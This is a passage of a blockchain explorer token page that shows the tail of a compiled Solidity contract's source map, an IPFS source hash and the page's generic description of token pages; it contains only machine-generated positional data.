:-1;;;1502:46:0;;10931:2:1;1502:46:0;;;10913:21:1;10970:2;10950:18;;;10943:30;11009:29;10989:18;;;10982:57;11056:18;;1502:46:0;10729:351:1;12525:214:0;12581:19;12603:10;:8;:10::i;:::-;12581:32;-1:-1:-1;12624:13:0;12640:22;:5;12581:32;12640:9;:22::i;:::-;12714:4;12698:22;;;;:7;:22;;;;;;12624:38;;-1:-1:-1;12698:33:0;;12624:38;12698:26;:33::i;:::-;12689:4;12673:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;12525:214:0:o;10886:152::-;10969:7;;:17;;10981:4;10969:11;:17::i;:::-;10959:7;:27;11010:10;;:20;;11025:4;11010:14;:20::i;:::-;10997:10;:33;-1:-1:-1;;10886:152:0:o;12050:467::-;12218:7;;;;12312:29;12337:3;12312:20;:7;12324;12312:11;:20::i;:::-;:24;;:29::i;:::-;12297:44;-1:-1:-1;12352:13:0;12368:28;12392:3;12368:19;:7;12380:6;12368:11;:19::i;:28::-;12352:44;-1:-1:-1;12407:23:0;12433:28;12352:44;12433:17;:7;12445:4;12433:11;:17::i;:::-;:21;;:28::i;:::-;12407:54;12497:4;;-1:-1:-1;12503:5:0;;-1:-1:-1;12050:467:0;;-1:-1:-1;;;;;12050:467:0:o;12747:534::-;12941:7;;;;13038:24;:7;13050:11;13038;:24::i;:::-;13020:42;-1:-1:-1;13073:12:0;13088:21;:4;13097:11;13088:8;:21::i;:::-;13073:36;-1:-1:-1;13120:13:0;13136:22;:5;13146:11;13136:9;:22::i;:::-;13120:38;-1:-1:-1;13169:23:0;13195:28;13120:38;13195:17;:7;13207:4;13195:11;:17::i;:28::-;13242:7;;;;-1:-1:-1;13268:4:0;;-1:-1:-1;12747:534:0;;-1:-1:-1;;;;;;;12747:534:0:o;2100:246::-;2158:7;2182:1;2187;2182:6;2178:47;;-1:-1:-1;2212:1:0;2205:8;;2178:47;2235:9;2247:5;2251:1;2247;:5;:::i;:::-;2235:17;-1:-1:-1;2280:1:0;2271:5;2275:1;2235:17;2271:5;:::i;:::-;:10;2263:56;;;;-1:-1:-1;;;2263:56:0;;11460:2:1;2263:56:0;;;11442:21:1;11499:2;11479:18;;;11472:30;11538:34;11518:18;;;11511:62;-1:-1:-1;;;11589:18:1;;;11582:31;11630:19;;2263:56:0;11258:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1855:456::-;1932:6;1940;1948;2001:2;1989:9;1980:7;1976:23;1972:32;1969:52;;;2017:1;2014;2007:12;1969:52;2056:9;2043:23;2075:31;2100:5;2075:31;:::i;:::-;2125:5;-1:-1:-1;2182:2:1;2167:18;;2154:32;2195:33;2154:32;2195:33;:::i;:::-;1855:456;;2247:7;;-1:-1:-1;;;2301:2:1;2286:18;;;;2273:32;;1855:456::o;2505:247::-;2564:6;2617:2;2605:9;2596:7;2592:23;2588:32;2585:52;;;2633:1;2630;2623:12;2585:52;2672:9;2659:23;2691:31;2716:5;2691:31;:::i;2965:782::-;3057:6;3065;3073;3126:2;3114:9;3105:7;3101:23;3097:32;3094:52;;;3142:1;3139;3132:12;3094:52;3182:9;3169:23;3211:18;3252:2;3244:6;3241:14;3238:34;;;3268:1;3265;3258:12;3238:34;3306:6;3295:9;3291:22;3281:32;;3351:7;3344:4;3340:2;3336:13;3332:27;3322:55;;3373:1;3370;3363:12;3322:55;3413:2;3400:16;3439:2;3431:6;3428:14;3425:34;;;3455:1;3452;3445:12;3425:34;3510:7;3503:4;3493:6;3490:1;3486:14;3482:2;3478:23;3474:34;3471:47;3468:67;;;3531:1;3528;3521:12;3468:67;3562:4;3554:13;;;;-1:-1:-1;3586:6:1;-1:-1:-1;;3627:20:1;;3614:34;3684:13;;3677:21;3667:32;;3657:60;;3713:1;3710;3703:12;3657:60;3736:5;3726:15;;;2965:782;;;;;:::o;3752:388::-;3820:6;3828;3881:2;3869:9;3860:7;3856:23;3852:32;3849:52;;;3897:1;3894;3887:12;3849:52;3936:9;3923:23;3955:31;3980:5;3955:31;:::i;:::-;4005:5;-1:-1:-1;4062:2:1;4047:18;;4034:32;4075:33;4034:32;4075:33;:::i;:::-;4127:7;4117:17;;;3752:388;;;;;:::o;4145:356::-;4347:2;4329:21;;;4366:18;;;4359:30;4425:34;4420:2;4405:18;;4398:62;4492:2;4477:18;;4145:356::o;4506:127::-;4567:10;4562:3;4558:20;4555:1;4548:31;4598:4;4595:1;4588:15;4622:4;4619:1;4612:15;4638:127;4699:10;4694:3;4690:20;4687:1;4680:31;4730:4;4727:1;4720:15;4754:4;4751:1;4744:15;4770:135;4809:3;4830:17;;;4827:43;;4850:18;;:::i;:::-;-1:-1:-1;4897:1:1;4886:13;;4770:135::o;8056:125::-;8121:9;;;8142:10;;;8139:36;;;8155:18;;:::i;8590:128::-;8657:9;;;8678:11;;;8675:37;;;8692:18;;:::i;9266:251::-;9336:6;9389:2;9377:9;9368:7;9364:23;9360:32;9357:52;;;9405:1;9402;9395:12;9357:52;9437:9;9431:16;9456:31;9481:5;9456:31;:::i;9522:980::-;9784:4;9832:3;9821:9;9817:19;9863:6;9852:9;9845:25;9889:2;9927:6;9922:2;9911:9;9907:18;9900:34;9970:3;9965:2;9954:9;9950:18;9943:31;9994:6;10029;10023:13;10060:6;10052;10045:22;10098:3;10087:9;10083:19;10076:26;;10137:2;10129:6;10125:15;10111:29;;10158:1;10168:195;10182:6;10179:1;10176:13;10168:195;;;10247:13;;-1:-1:-1;;;;;10243:39:1;10231:52;;10338:15;;;;10303:12;;;;10279:1;10197:9;10168:195;;;-1:-1:-1;;;;;;;10419:32:1;;;;10414:2;10399:18;;10392:60;-1:-1:-1;;;10483:3:1;10468:19;10461:35;10380:3;9522:980;-1:-1:-1;;;9522:980:1:o;10507:217::-;10547:1;10573;10563:132;;10617:10;10612:3;10608:20;10605:1;10598:31;10652:4;10649:1;10642:15;10680:4;10677:1;10670:15;10563:132;-1:-1:-1;10709:9:1;;10507:217::o;11085:168::-;11158:9;;;11189;;11206:15;;;11200:22;;11186:37;11176:71;;11227:18;;:::i

Swarm Source

ipfs://5974de439f332cd474d616ce12d1bca601c5c924cc782c58cd60405502a29346
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.